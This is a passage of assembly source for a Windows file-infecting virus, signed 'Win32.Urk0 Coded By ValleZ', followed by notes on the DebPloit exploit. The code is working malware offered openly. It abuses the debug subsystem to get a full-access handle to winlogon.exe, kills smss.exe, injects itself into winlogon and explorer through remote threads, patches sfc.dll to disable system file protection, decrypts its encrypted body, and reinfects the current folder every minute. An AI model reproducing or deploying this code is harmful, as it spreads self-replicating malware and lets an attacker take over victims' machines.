;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
DebuggerTrickz:
|
||
pushad
|
||
or eax,eax
|
||
jz NoTrickGoOut
|
||
callz GetWinlogon
|
||
or eax,eax
|
||
jz ContinueTrick
|
||
NoTrickGoOut:
|
||
popad
|
||
ret
|
||
ContinueTrick:
|
||
;now i have a handle to winlogon.exe...however i only have this access:
|
||
;PROCESS_VM_READ and PROCESS_QUERY_INFORMATION
|
||
;now we need a handle to the process but with VM_WRITE,...privileges.
|
||
;ill try to open Winlogon with full privileges...if i dont get it
|
||
;with full privileges ill use same method as debploit exploit.
|
||
;You can read about this in www.securiteam.com NT focus...
|
||
;in august of 2002 if i remember well.
|
||
|
||
push dword ptr [ebp + WinlogonHand]
|
||
mov eax,[ebp + NtKernel]
|
||
GezApi eax,CloseHandleCRC,CHNameLen
|
||
call eax
|
||
push dword ptr [ebp + WinlogonID]
|
||
push 0
|
||
push 43Ah;privileges i need
|
||
mov eax,[ebp + NtKernel]
|
||
GezApi eax,OpenProcessCRC,OPNameLen
|
||
call eax
|
||
or eax,eax
|
||
jz Debploit
|
||
sub esp,80h
|
||
callz AttackWinlogon ;)
|
||
or eax,eax
|
||
jz DebuggerNoError
|
||
jmpz DebuggerError
|
||
|
||
Debploit:
|
||
|
||
push dword ptr [ebp + WinlogonHand]
|
||
mov eax,[ebp + NtKernel]
|
||
GezApi eax,CloseHandleCRC,CHNameLen
|
||
call eax
|
||
|
||
mov ecx,20h
|
||
SaveSpaceMESSAGE:
|
||
push 00000000h
|
||
loop SaveSpaceMESSAGE ;space for DBG_SS_CP_LPC_MESSAGE
|
||
|
||
mov eax,[ebp + Ntdll]
|
||
GezApi eax,NtConnectPortCRC,NCPNameLen
|
||
push 0
|
||
push 0
|
||
push 0
|
||
push 0
|
||
push 0
|
||
lea ebx,[ebp + SECURITY_QUALITY_OF_SERVICE]
|
||
push ebx
|
||
lea ebx,[ebp + USbuf]
|
||
mov [ebp + PUSbuf],ebx
|
||
push eax
|
||
mov eax,ebx
|
||
xor edx,edx
|
||
mov ebx,2
|
||
div ebx
|
||
or edx,edx
|
||
jz NoAlign
|
||
lea ebx,[ebp + USbuf2]
|
||
mov [ebp + PUSbuf],ebx
|
||
NoAlign:
|
||
pop eax
|
||
;well...here we have a problem...read about NTSTATUS_DATATYPE_MISALIGNMENT
|
||
;(80000002h)for knowing this problem and you will discover how Microsoft
|
||
;do a easier life for you :P Why i must align a data for giving
|
||
;parameters to a api...WHYYYYY??? Why M$,the richest company in the world,
|
||
;cannot do a S.O that aligns my datas!!??? :( Why i must spend two days
|
||
;trying to solve this problem!!!! damn ;(
|
||
|
||
lea ebx,[ebp + UNICODE_STRING]
|
||
push ebx
|
||
lea ebx,[ebp + PortHandle]
|
||
push ebx
|
||
call eax;ZwConnectPort
|
||
;note i call apis from ntdll.dll with a call instead a syscall...however they can be
|
||
;called with a syscall too.
|
||
cmp eax,080000000h
|
||
jae DebuggerError
|
||
mov eax,[ebp + Ntdll]
|
||
GezApi eax,DbgUiConnectToDbgCRC,DUCTDNameLen
|
||
call eax
|
||
cmp eax,080000000h
|
||
jae DebuggerError
|
||
|
||
;for now,all right...now i must send a message to dbgss,
|
||
;a create process request,and it will give me a duplicated handle
|
||
;to the process that ill specify in the message...with a small
|
||
;different...this handle will have PROCESS_TERMINATE,
|
||
;PROCESS_CREATE_THREAD!!!,PROCESS_VM_READ,
|
||
;PROCESS_VM_OPERATION,PROCESS_VM_WRITE!!!,PROCESS_DUP_HANDLE,
|
||
;PROCESS_QUERY_INFORMATION,READ_CONTROL privileges ;D
|
||
|
||
;we have already reserved space for DBG_SS_CP_LPC_MESSAGE
|
||
;in the stack in the start of debploit zone.You can see
|
||
;DBG_SS_CP_LPC_MESSAGE struct in the end of virus code
|
||
|
||
mov word ptr [esp],38h ;DataSize
|
||
mov word ptr [esp + 2h],80h ;MessageSize
|
||
mov dword ptr [esp + 18h],2h ;CREATE_PROCESS_REQUEST
|
||
mov eax,[ebp + WinlogonID]
|
||
mov dword ptr [esp + 20h],eax ;debugee PID...that i want duplicate handle
|
||
|
||
mov eax,[ebp + NtKernel]
|
||
GezApi eax,GetCurrentProcessIdCRC,GCPINameLen
|
||
call eax
|
||
mov dword ptr [esp + 2ch],eax ;debugger PID...me
|
||
|
||
mov eax,[ebp + NtKernel]
|
||
GezApi eax,GetCurrentThreadIdCRC,GCTINameLen
|
||
call eax
|
||
mov dword ptr [esp + 30h],eax ;debugger TID...me too
|
||
|
||
push esp
|
||
push dword ptr [ebp + PortHandle]
|
||
mov eax,[ebp + Ntdll]
|
||
GezApi eax,ZwRequestPortCRC,ZRPNameLen
|
||
call eax
|
||
|
||
;now we dont need msg space reserved in stack so we use that space in
|
||
;stack for or DEBUG_EVENT
|
||
|
||
|
||
|
||
WaitEvent:
|
||
|
||
push 512
|
||
;esp + 4 -> DEBUG_EVENT
|
||
mov eax,esp
|
||
add eax,4
|
||
push eax
|
||
mov eax,[ebp + NtKernel]
|
||
GezApi eax,WaitForDebugEventCRC,WFDENameLen
|
||
call eax
|
||
|
||
mov eax,[esp + 4] ;dwProcessId
|
||
mov ebx,[esp + 8] ;dwThreadId
|
||
push 00010002h ;CONTINUE_DEBUG
|
||
push ebx
|
||
push eax
|
||
mov eax,[ebp + NtKernel]
|
||
GezApi eax,ContinueDebugEventCRC,CDENameLen
|
||
call eax
|
||
cmp dword ptr [esp],3 ;DugEventCode == CREATE_PROCESS_DEBUG_EVENT???
|
||
je GoodEvent
|
||
jmpz WaitEvent
|
||
GoodEvent:
|
||
;we have got the waited debug event and there
|
||
;we can find the duplicate handle to winlogon :D
|
||
|
||
mov eax,[esp + 10h] ;DEBUG_EVENT.u.CreateProcessInfo.hProcess
|
||
mov [ebp + WinlogonHand],eax ;we save the handle with full acess to winlogon
|
||
|
||
;now i have a problem.When this process terminates,winlogon will terminate too becouse
|
||
;winlogon is the debuggee process and this is the debugger.
|
||
;i think a dramatic solution...terminate smss.exe.smss initiates winlogon and win32 subsystem
|
||
;and when system hangs,it take the control and draw the blue screen of death :P.In addition
|
||
;it has implemented the dbgss.If only these are their functions,we can terminate smss and in
|
||
;this manner smms will not terminate winlogon after my process terminates...in addition we
|
||
;have broke debug subsystem ;)
|
||
;Ill do this since winlogon later i inject my code there.
|
||
;note if smss is terminated,next time virus will be executed it will not find dbgss subsystem
|
||
;and by this reason it will not infect winlogon again.
|
||
|
||
callz AttackWinlogon
|
||
or eax,eax
|
||
jnz DebuggerError
|
||
|
||
DebuggerNoError:
|
||
add esp,80h
|
||
popad
|
||
xor eax,eax
|
||
inc eax
|
||
ret
|
||
DebuggerError:
|
||
add esp,80h
|
||
popad
|
||
xor eax,eax
|
||
ret
|
||
|
||
|
||
PortHandle dd 0
|
||
|
||
UNICODE_STRING:
|
||
USlen dw 26
|
||
USmaxlen dw 28
|
||
PUSbuf dd 0
|
||
|
||
db 0
|
||
;i have two strings becoz if USbuf is not alignmented then USbuf2 is it.
|
||
USbuf dw '\','D','b','g','S','s','A','p','i','P','o','r','t',0
|
||
db 0
|
||
USbuf2 dw '\','D','b','g','S','s','A','p','i','P','o','r','t',0
|
||
|
||
|
||
SECURITY_QUALITY_OF_SERVICE:
|
||
SQOSlen dd 12
|
||
ImpersonationLevel dd 2;SecurityImpersonation
|
||
ContextTrackingMode db 1
|
||
EffectiveOnly db 1
|
||
db 34h
|
||
db 00h
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;
|
||
GetWinlogon: ;in:none out: WinlogonHand with winlogon process handle
|
||
; eax = 0 if no error
|
||
pushad
|
||
mov ecx,200h
|
||
SaveSpaceSearchingWinlogon:
|
||
push 00000000h
|
||
loop SaveSpaceSearchingWinlogon
|
||
;esp -> array of id of processes
|
||
mov eax,esp
|
||
lea ebx,[ebp + Needed]
|
||
push ebx
|
||
push 4*200h
|
||
push eax
|
||
mov eax,[ebp + NtPsapi]
|
||
GezApi eax,EnumProcessesCRC,EPSNameLen
|
||
call eax
|
||
dec eax
|
||
jnz GetWinlogonOutError_
|
||
;esp -> array
|
||
mov esi,esp
|
||
lodsd
|
||
SearchWinlogon:
|
||
lodsd
|
||
push esi
|
||
or eax,eax
|
||
jz GetWinlogonOutError
|
||
;vvv
|
||
mov [ebp + WinlogonID],eax
|
||
push eax
|
||
push 0
|
||
push 10h or 400h
|
||
mov eax,[ebp + NtKernel]
|
||
GezApi eax,OpenProcessCRC,OPNameLen
|
||
call eax
|
||
or eax,eax
|
||
jz NoWinlogonFound
|
||
;eax = process handle
|
||
mov [ebp + WinlogonHand],eax
|
||
lea ebx,[ebp + Needed]
|
||
push ebx
|
||
push 4
|
||
lea ebx,[ebp + WinlogonModuleHand]
|
||
push ebx
|
||
push eax
|
||
mov eax,[ebp + NtPsapi]
|
||
GezApi eax,EnumProcessModulesCRC,EPMNameLen
|
||
call eax
|
||
dec eax
|
||
jnz NoWinlogonFound
|
||
push 50
|
||
lea eax,[ebp + WinlogonModuleName]
|
||
push eax
|
||
push dword ptr [ebp + WinlogonModuleHand]
|
||
push dword ptr [ebp + WinlogonHand]
|
||
mov eax,[ebp + NtPsapi]
|
||
GezApi eax,GetModuleBaseNameACRC,GMBNNameLen
|
||
call eax
|
||
lea esi,[ebp + WinlogonModuleName]
|
||
lodsd
|
||
or eax,20202020h
|
||
cmp eax,'lniw'
|
||
winl equ $ - 4
|
||
jne NoWinlogonFound
|
||
lodsd
|
||
or eax,20202020h
|
||
cmp eax,'nogo'
|
||
ogon equ $ - 4
|
||
jne NoWinlogonFound
|
||
|
||
;^^^
|
||
WinLogonFound:
|
||
pop esi
|
||
GetWinlogonOut:
|
||
add esp,4*200h
|
||
popad
|
||
xor eax,eax
|
||
ret
|
||
|
||
NoWinlogonFound:
|
||
pop esi
|
||
jmp SearchWinlogon
|
||
|
||
GetWinlogonOutError:
|
||
pop esi
|
||
GetWinlogonOutError_:
|
||
add esp,4*200h
|
||
popad
|
||
xor eax,eax
|
||
inc eax
|
||
ret
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;
|
||
AttackWinlogon: ;in:none
|
||
;out: eax = 1 error eax = 0 no error
|
||
|
||
push PAGE_EXECUTE_READWRITE
|
||
push MEM_COMMIT or MEM_RESERVE
|
||
push EVirus - SVirus
|
||
push 0
|
||
push dword ptr [ebp + WinlogonHand]
|
||
mov eax,[ebp + NtKernel]
|
||
GezApi eax,VirtualAllocExCRC,VANameLen
|
||
call eax
|
||
or eax,eax
|
||
jz AttackWinlogonError
|
||
mov [ebp + WinlogonVirusBase],eax
|
||
|
||
mov ecx,[ebp + NtKernel]
|
||
mov ebx,[ebp + WinlogonHand]
|
||
lea edx,[ebp + SVirus]
|
||
mov esi,EVirus - SVirus
|
||
Writez ecx,ebx,eax,edx,esi
|
||
or eax,eax
|
||
jz AttackWinlogonError
|
||
push 0
|
||
push 0
|
||
lea eax,[ebp + Needed]
|
||
push eax;pointer to a variable to be passed to the thread function
|
||
mov eax,[ebp + WinlogonVirusBase]
|
||
add eax,WinlogonCode - SVirus
|
||
push eax
|
||
push 0 ;stack size
|
||
push 0
|
||
push dword ptr [ebp + WinlogonHand]
|
||
mov eax,[ebp + NtKernel]
|
||
GezApi eax,CreateRemoteThreadCRC,CRTNameLen
|
||
call eax
|
||
or eax,eax
|
||
jz AttackWinlogonError
|
||
|
||
AttackWinlogonNoError:
|
||
|
||
push dword ptr [ebp + WinlogonHand]
|
||
mov eax,[ebp + NtKernel]
|
||
GezApi eax,CloseHandleCRC,CHNameLen
|
||
call eax
|
||
xor eax,eax
|
||
ret
|
||
|
||
AttackWinlogonError:
|
||
|
||
push dword ptr [ebp + WinlogonHand]
|
||
mov eax,[ebp + NtKernel]
|
||
GezApi eax,CloseHandleCRC,CHNameLen
|
||
call eax
|
||
xor eax,eax
|
||
inc eax
|
||
ret
|
||
|
||
|
||
Needed dd 0
|
||
WinlogonModuleHand dd 0
|
||
WinlogonModuleName db 50 dup(0)
|
||
WinlogonHand dd 0
|
||
WinlogonID dd 0
|
||
WinlogonVirusBase dd 0
|
||
SmssHand dd 0
|
||
ExplorerHand dd 0
|
||
ExplorerID dd 0
|
||
ExplorerVirusBase dd 0
|
||
ExplorerModuleHand dd 0
|
||
|
||
|
||
|
||
db "Win32.Urk0 Coded By ValleZ",0
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
WinlogonCode:
|
||
|
||
;When i inject code to winlogon,i create a remote thread that will start execution here
|
||
|
||
pop eax ;remove parameter passed
|
||
callz WinlogonCodeDoff
|
||
WinlogonCodeDoff:
|
||
pop ebp
|
||
sub ebp,offset WinlogonCodeDoff
|
||
|
||
callz GetLibrarys
|
||
|
||
mov dword ptr [ebp + winl],'lpxe'
|
||
mov dword ptr [ebp + ogon],'rero'
|
||
callz GetWinlogon ;i use same function to get smss.exe handle and terminate it.
|
||
mov eax,[ebp + WinlogonHand]
|
||
mov [ebp + ExplorerHand],eax
|
||
mov eax,[ebp + WinlogonID]
|
||
mov [ebp + ExplorerID],eax
|
||
mov eax,[ebp + WinlogonModuleHand]
|
||
mov [ebp + ExplorerModuleHand],eax
|
||
|
||
mov dword ptr [ebp + winl],'ssms'
|
||
mov dword ptr [ebp + ogon],'exe.'
|
||
callz GetWinlogon ;i use same function to get smss.exe handle and terminate it.
|
||
mov eax,[ebp + WinlogonHand]
|
||
mov [ebp + SmssHand],eax
|
||
|
||
mov dword ptr [ebp + winl],'lniw'
|
||
mov dword ptr [ebp + ogon],'nogo'
|
||
|
||
push dword ptr [ebp + WinlogonHand]
|
||
mov eax,[ebp + NtKernel]
|
||
GezApi eax,CloseHandleCRC,CHNameLen
|
||
call eax
|
||
push dword ptr [ebp + WinlogonID];really smss.exe ID
|
||
push 0
|
||
push 1h;privileges that i need for terminating smss.exe
|
||
mov eax,[ebp + NtKernel]
|
||
GezApi eax,OpenProcessCRC,OPNameLen ;i open smss.exe
|
||
call eax
|
||
push 0
|
||
push dword ptr [ebp + SmssHand]
|
||
mov eax,[ebp + Ntdll]
|
||
GezApi eax,NtTerminateProcessCRC,NTPNameLen
|
||
call eax
|
||
|
||
;i have terminated smss.exe and now it cannot kill winlogon ;D i dont know if this method
|
||
;is a few dramatic...i know if i kill smss.exe i fuck dbgss(mmm im thinking then im
|
||
;fuckin debbugers :-m ),and when windows terminates with error smss will not show
|
||
;the typical blue screen(this is a problem???)...i dont know if i am fuckin other
|
||
;importants parts...i have not read others funcionalitys...only it loads winlogon
|
||
;and win32 subsystem(csrss.exe),however this task is already done.I think i can
|
||
;kill smss.exe.
|
||
|
||
;now,i am in w1nl0g0n with M4x Pr1v1l3g3s ;D in this point our imagination will do all
|
||
;first,i will disable sfp
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
SfcDisable:
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
lea eax,[ebp + sfc]
|
||
push eax
|
||
mov eax,[ebp + NtKernel]
|
||
GezApi eax,LoadLibraryACRC,LLNameLen
|
||
call eax
|
||
or eax,eax
|
||
jz ErrorSfcDisable
|
||
mov [ebp + NtSfc],eax
|
||
mov esi,[eax + 3ch]
|
||
add esi,eax
|
||
;esi -> PE
|
||
movzx eax,word ptr [esi + 14h];size of optional
|
||
mov ecx,[eax + esi + 18h + 10h];size of section
|
||
mov esi,[eax + esi + 18h + 0ch];virtual address of first section of sfc.dll
|
||
add esi,dword ptr [ebp + NtSfc]
|
||
|
||
|
||
;esi -> code section
|
||
|
||
SearchCodeToPatch:
|
||
pushad
|
||
lea edi,[ebp + CodeToSearch]
|
||
mov ecx,11
|
||
rep cmpsb
|
||
popad
|
||
je CodeToPatchFound
|
||
inc esi
|
||
loop SearchCodeToPatch
|
||
jmpz ErrorSfcDisable
|
||
|
||
CodeToPatchFound:
|
||
;now we patch code with a call to ExitThread
|
||
push esi
|
||
mov eax,[ebp + NtKernel]
|
||
GezApi eax,ExitThreadCRC,ETNameLen
|
||
pop esi
|
||
mov [ebp + PatchExitThreadDir],eax
|
||
push esi
|
||
;i unprotect the mem where i go to patch
|
||
;UnprotectMem
|
||
; eax -> base of kernel
|
||
; esi -> dir of memory that will be writable.
|
||
; ecx -> bytes of that memory.
|
||
; ebx -> handle of the process where is the memory.If 0 this process
|
||
mov eax,[ebp + NtKernel]
|
||
mov ebx,0
|
||
mov ecx,_PatchCode - PatchCode
|
||
callz UnprotectMem
|
||
pop esi
|
||
mov edi,esi
|
||
lea esi,[ebp + PatchCode]
|
||
mov ecx,_PatchCode - PatchCode
|
||
PatchIt:
|
||
movsb
|
||
loop PatchIt
|
||
|
||
ErrorSfcDisable:
|
||
|
||
;if we have jumped here without executing CodeToPatchFound part,sfc is not disabled
|
||
;now ill infect files
|
||
;first all,ill uncrypt since SCode to SCode part
|
||
|
||
;we encrypted Code with random key since FFFF0000h to FFFFFFFFh so
|
||
;now we must search the key using brute force
|
||
|
||
xor ecx,ecx
|
||
mov edx,dword ptr [ebp + SCode]
|
||
WLWhatKey:
|
||
xor edx,ecx
|
||
cmp edx,000000E8h
|
||
je WLKeyFound
|
||
xor edx,ecx
|
||
loop WLWhatKey
|
||
WLKeyFound:
|
||
mov edx,ecx
|
||
;edx = key
|
||
mov ecx,(ECode - SCode)/4
|
||
lea esi,[ebp + SCode]
|
||
WLUncrypt:
|
||
dec ecx
|
||
xor dword ptr [esi + 4*ecx],edx
|
||
or ecx,ecx
|
||
jnz WLUncrypt
|
||
mov eax,[ebp + NtKernel]
|
||
mov [ebp + kernel],eax ;code since SCode to ECode uses kernel variable so
|
||
;i must initializate it
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
AttackExplorer:
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;now ill inject the code to explorer.exe from winlogon and there ill hook CreateFileA api ;)
|
||
;i thought to hook FindFirstFile and FindNextFile in explorer but i think its anought
|
||
;with CreateFileA
|
||
|
||
push dword ptr [ebp + ExplorerHand]
|
||
mov eax,[ebp + NtKernel]
|
||
GezApi eax,CloseHandleCRC,CHNameLen
|
||
call eax
|
||
push dword ptr [ebp + ExplorerID]
|
||
push 0
|
||
push 43ah;privileges that i need
|
||
mov eax,[ebp + NtKernel]
|
||
GezApi eax,OpenProcessCRC,OPNameLen
|
||
call eax
|
||
or eax,eax
|
||
jz AttackExplorerError
|
||
mov [ebp + ExplorerHand],eax
|
||
|
||
push PAGE_EXECUTE_READWRITE
|
||
push MEM_COMMIT or MEM_RESERVE
|
||
push EVirus - SVirus
|
||
push 0
|
||
push dword ptr [ebp + ExplorerHand]
|
||
mov eax,[ebp + NtKernel]
|
||
GezApi eax,VirtualAllocExCRC,VANameLen
|
||
|
||
|
||
call eax
|
||
or eax,eax
|
||
jz AttackExplorerError
|
||
mov [ebp + ExplorerVirusBase],eax
|
||
|
||
mov ecx,[ebp + NtKernel]
|
||
mov ebx,[ebp + ExplorerHand]
|
||
lea edx,[ebp + SVirus]
|
||
mov esi,EVirus - SVirus
|
||
|
||
|
||
Writez ecx,ebx,eax,edx,esi
|
||
or eax,eax
|
||
jz AttackExplorerError
|
||
push 0
|
||
push 0
|
||
lea eax,[ebp + Needed]
|
||
push eax ;pointer to a variable passed as parameter to thread function
|
||
mov eax,[ebp + ExplorerVirusBase]
|
||
add eax,ExplorerCode - SVirus
|
||
push eax
|
||
push 0;stack size
|
||
push 0
|
||
push dword ptr [ebp + ExplorerHand]
|
||
mov eax,[ebp + NtKernel]
|
||
GezApi eax,CreateRemoteThreadCRC,CRTNameLen
|
||
call eax
|
||
|
||
|
||
AttackExplorerError:
|
||
|
||
push dword ptr [ebp + ExplorerHand]
|
||
mov eax,[ebp + NtKernel]
|
||
GezApi eax,CloseHandleCRC,CHNameLen
|
||
call eax
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
ExitWinlogonThread:
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
push 0
|
||
mov eax,[ebp + NtKernel]
|
||
GezApi eax,ExitThreadCRC,ETNameLen
|
||
call eax
|
||
|
||
|
||
sfc db 'sfc.dll'
|
||
NtSfc dd 0
|
||
CodeToSearch db 6Ah,01h,6Ah,01h,0FFh,33h,0FFh,73h,04h,0FFh,15h
|
||
PatchCode:
|
||
push 0
|
||
mov eax,11111111h
|
||
PatchExitThreadDir equ dword ptr $ - 4
|
||
call eax
|
||
_PatchCode:
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
ExplorerCode:
|
||
|
||
callz NtExplorerDOffset
|
||
NtExplorerDOffset:
|
||
pop ebp
|
||
sub ebp,offset NtExplorerDOffset
|
||
|
||
|
||
CurrentFolderInfection:
|
||
|
||
mov eax,[ebp + NtKernel]
|
||
GezApi eax,SleepCRC,SNameLen
|
||
push 60000 ;1 minute
|
||
call eax ;Sleep for 1 minute
|
||
|
||
mov eax,[ebp + NtKernel]
|
||
GezApi eax,GetCurrentDirectoryACRC,SCDNameLen
|
||
lea ebx,[ebp + buffy]
|
||
push ebx
|
||
push 256
|
||
call eax
|
||
lea ebx,[ebp + buffy]
|
||
|
||
callz InfectCurrentFolder
|
||
|
||
jmpz CurrentFolderInfection
|
||
;since explorer,virus will infect current folder in intervals of 1 minute
|
||
|
||
|
||
buffy db 256 dup (?)
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
Pad2:
|
||
PADDING2 equ 4 - (((Pad2 - ECode) - (4*((Pad2 - ECode)/4))))
|
||
db PADDING2 dup (0)
|
||
EVirus:
|
||
end start
|
||
end
|
||
|
||
|
||
|
||
HERE YOU CAN FIND SOME EXTRA INFORMATION FOR VIRUS UNDERSTANDING
|
||
|
||
|
||
DebPloit allows Everyone to get handle to Any process or thread.
|
||
Handles have enough access to promote everyone to system/admin
|
||
(in the case Target is running under LocalSystem, Administrator account).
|
||
Works on: Any MS Windows NT 4.0, Windows 2000 (SPs before Mar-12-2002).
|
||
Former NTs weren't tested. Discovered: Mar-09-2002. Author: Radim "EliCZ" Picha.
|
||
Bugs@EliCZ.cjb.net. http://www.anticracking.sk/EliCZ. Details: Exploit\DebPloit.h.
|
||
Principle: Ask debugging subsystem (lives in smss.exe) to create (duplicate) handle(s)
|
||
to Target for you:
|
||
1. Become dbgss client (DbgUiConnectToDbg).
|
||
2. Connect to DbgSsApiPort LPC port (ZwConnectPort).Everyone has access to this port.
|
||
3. Ask dbgss to handle CreateProcess SsApi with client id (or pid or tid only)
|
||
of Target (ZwRequestPort).
|
||
4. Wait for dbgss to reply with CREATE_PROCESS_DEBUG_EVENT (WaitForDebugEvent).
|
||
Message contains duplicated handle(s).
|
||
5. When debugger's thread terminates(e.g. on logoff), Target process or thread is
|
||
terminated too (like it was regularly debugged).
|
||
|
||
|
||
|
||
struct _DBG_SS_CP_LPC_MESSAGE {
|
||
USHORT DataSize; //00
|
||
USHORT MessageSize; //02
|
||
USHORT MessageType; //04
|
||
USHORT VirtualRangesOffset; //06
|
||
DWORD CallerPid; //08
|
||
DWORD CallerTid; //0C
|
||
ULONG MessageId; //10
|
||
ULONG SectionSize; //14
|
||
DWORD dwSsDebugEventCode; //18
|
||
DWORD Status; //1C
|
||
DWORD DebuggeePID; //20
|
||
DWORD DebuggeeTID; //24
|
||
PVOID pDbgSsKmMsg; //28 //size ~ 0x78
|
||
DWORD DebuggerPID; //2C
|
||
DWORD DebuggerTID; //30
|
||
DWORD Unknown34; //34
|
||
DWORD hFile; //38
|
||
LPVOID lpBaseOfImage; //3C
|
||
DWORD dwDebugInfoFileOffset;//40
|
||
DWORD nDebugInfoSize; //44
|
||
LPVOID lpThreadLocalBase; //48
|
||
LPTHREAD_START_ROUTINE lpStartAddress; //4C
|
||
LPVOID lpImageName; //50
|
||
WORD fUnicode; //54
|
||
WORD ImageName[(MAX_DBG_SS_CP_LPC_MESSAGE_SIZE - 0x56)/sizeof(WORD)]; //56 pro forma
|
||
}
|
||
MAX_DBG_SS_CP_LPC_MESSAGE_SIZE = 80h
|
||
|
||
|
||
NTSYSAPI NTSTATUS NTAPI ZwConnectPort (
|
||
OUT PHANDLE ClientPortHandle,
|
||
IN PUNICODE_STRING ServerPortName,
|
||
IN PSECURITY_QUALITY_OF_SERVICE SecurityQos,
|
||
IN OUT PLPC_THIS_SIDE_MEMORY ClientSharedMemory OPTIONAL,
|
||
IN OUT PLPC_OTHER_SIDE_MEMORY ServerSharedMemory OPTIONAL,
|
||
OUT PULONG MaximumMessageLength OPTIONAL,
|
||
IN OUT PVOID ConnectionInfo OPTIONAL,
|
||
IN OUT PULONG ConnectionInfoLength OPTIONAL
|
||
);
|